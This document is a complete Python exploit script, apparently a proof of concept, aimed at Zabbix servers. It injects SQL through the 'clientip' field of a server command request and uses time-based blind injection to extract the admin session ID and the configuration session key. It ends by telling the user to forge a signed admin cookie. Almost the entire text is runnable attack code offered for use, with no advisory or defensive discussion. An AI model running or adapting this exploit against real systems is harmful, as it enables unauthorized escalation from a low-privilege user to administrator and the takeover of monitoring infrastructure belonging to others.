Python:
#!/usr/bin/python3
import json
import argparse
import pwnlib.context
from pwn import *
from datetime import datetime
def send_message(ip, port, sid, hostid, injection):
zbx_header = "ZBXD\x01".encode()
#query
# insert into auditlog (auditid,userid,username,clock,action,ip,resourceid,"
# "resourcename,resourcetype,recordsetid,details) values ('%s'," ZBX_FS_UI64 ",'%s',%d,'%d','%s',"
# ZBX_FS_UI64 ",'%s',%d,'%s','%s')
#
message = {
"request": "command",
"sid": sid,
"scriptid": "3",
"clientip": "' + " + injection + "+ '",
"hostid": hostid
}
message_json = json.dumps(message)
#print("message=%s" % message)
message_length = struct.pack('<q', len(message_json))
message = zbx_header + message_length + message_json.encode()
#print("Sending message %s" % message)
r = remote(ip, port, level='debug')
r.send(message)
response = r.recv(100)
r.close()
#print(response)
def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
session_id = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
print("\n(+) trying c=%s" % c, end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print("(+) session_id=%s" % session_id, end="", flush=True)
break
print("\n")
return session_id
def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
token = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
print("\n(+) trying c=%s" % c, end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print("(+) session_key=%s" % token, end="", flush=True)
break
print("\n")
return token
def tiny_poc(ip, port, sid, hostid):
print("(+) Running simple PoC...\n", end="", flush=True)
print("(+) Sleeping for 1 sec...\n", end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select sleep(1))"
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print("(+) Request time: %d\n" % (after_query-before_query))
print("(+) Sleeping for 5 sec...\n", end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select sleep(5))"
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print("(+) Request time: %d\n" % (after_query - before_query))
print("(+) Sleeping for 10 sec...\n", end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select sleep(10))"
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print("(+) Request time: %d\n" % (after_query - before_query))
def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
print("(+) Sending SQL request for MySQL version...\n", end="", flush=True)
query = "(version())"
send_message(ip, port, sid, hostid, query)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Command-line option parser example')
parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1")
parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10")
parser.add_argument("--ip", help="Zabbix server IP")
parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
parser.add_argument("--sid", help="Session ID of low privileged user")
parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False)
parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False)
args = parser.parse_args()
if args.poc:
tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
elif args.poc2:
poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
else:
print("(+) Extracting Zabbix config session key...\n", end="", flush=True)
config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print("(+) config session_key=%s\n" % config_session_key, end="", flush=True)
print("(+) Extracting admin session_id...")
admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True)
print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid))